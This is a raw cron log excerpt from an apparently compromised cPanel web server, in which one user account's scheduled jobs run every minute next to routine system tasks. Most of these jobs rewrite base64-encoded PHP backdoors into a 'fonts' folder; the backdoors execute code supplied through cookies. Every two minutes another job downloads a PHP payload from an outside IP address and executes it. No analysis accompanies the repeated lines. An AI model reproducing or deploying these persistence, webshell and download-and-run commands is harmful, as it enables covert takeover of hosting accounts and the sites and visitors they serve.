Sep  2 08:11:01 ip-184-168-122-23 CROND[11690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:11:01 ip-184-168-122-23 CROND[11688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:11:01 ip-184-168-122-23 CROND[11689]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:12:01 ip-184-168-122-23 CROND[11795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:12:01 ip-184-168-122-23 CROND[11798]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:12:01 ip-184-168-122-23 CROND[11799]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:12:01 ip-184-168-122-23 CROND[11796]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:12:01 ip-184-168-122-23 CROND[11797]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 08:13:02 ip-184-168-122-23 CROND[11889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:13:02 ip-184-168-122-23 CROND[11888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:13:02 ip-184-168-122-23 CROND[11891]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:13:02 ip-184-168-122-23 CROND[11893]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:14:01 ip-184-168-122-23 CROND[11976]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:14:01 ip-184-168-122-23 CROND[11978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:14:01 ip-184-168-122-23 CROND[11980]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 08:14:01 ip-184-168-122-23 CROND[11979]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:14:01 ip-184-168-122-23 CROND[11982]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:15:02 ip-184-168-122-23 CROND[12169]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:15:02 ip-184-168-122-23 CROND[12171]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:15:02 ip-184-168-122-23 CROND[12172]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:15:02 ip-184-168-122-23 CROND[12173]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  2 08:15:02 ip-184-168-122-23 CROND[12175]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 08:15:02 ip-184-168-122-23 CROND[12174]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:15:02 ip-184-168-122-23 CROND[12176]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 08:16:01 ip-184-168-122-23 CROND[12267]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:16:01 ip-184-168-122-23 CROND[12269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:16:01 ip-184-168-122-23 CROND[12271]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:16:01 ip-184-168-122-23 CROND[12273]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:16:01 ip-184-168-122-23 CROND[12274]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 08:16:01 ip-184-168-122-23 CROND[12272]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 08:17:01 ip-184-168-122-23 CROND[12374]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:17:01 ip-184-168-122-23 CROND[12375]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:17:01 ip-184-168-122-23 CROND[12378]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:17:01 ip-184-168-122-23 CROND[12379]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:18:01 ip-184-168-122-23 CROND[12488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:18:01 ip-184-168-122-23 CROND[12492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:18:01 ip-184-168-122-23 CROND[12493]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:18:01 ip-184-168-122-23 CROND[12491]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 08:18:01 ip-184-168-122-23 CROND[12494]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:19:01 ip-184-168-122-23 CROND[12608]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:19:01 ip-184-168-122-23 CROND[12611]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:19:01 ip-184-168-122-23 CROND[12612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:19:01 ip-184-168-122-23 CROND[12610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:20:01 ip-184-168-122-23 CROND[12714]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:20:01 ip-184-168-122-23 CROND[12716]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 08:20:01 ip-184-168-122-23 CROND[12721]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:20:01 ip-184-168-122-23 CROND[12720]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:20:01 ip-184-168-122-23 CROND[12722]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 08:20:01 ip-184-168-122-23 CROND[12723]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 08:20:01 ip-184-168-122-23 CROND[12717]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 08:20:01 ip-184-168-122-23 CROND[12718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:20:01 ip-184-168-122-23 CROND[12725]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 08:21:01 ip-184-168-122-23 CROND[12856]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:21:01 ip-184-168-122-23 CROND[12857]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:21:01 ip-184-168-122-23 CROND[12859]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:21:01 ip-184-168-122-23 CROND[12860]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:22:01 ip-184-168-122-23 CROND[12979]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 08:22:01 ip-184-168-122-23 CROND[12978]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 08:22:01 ip-184-168-122-23 CROND[12981]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 08:22:01 ip-184-168-122-23 CROND[12984]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 08:22:01 ip-184-168-122-23 CROND[12986]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:23:01 ip-184-168-122-23 CROND[13186]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 08:23:01 ip-184-168-122-23 CROND[13188]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
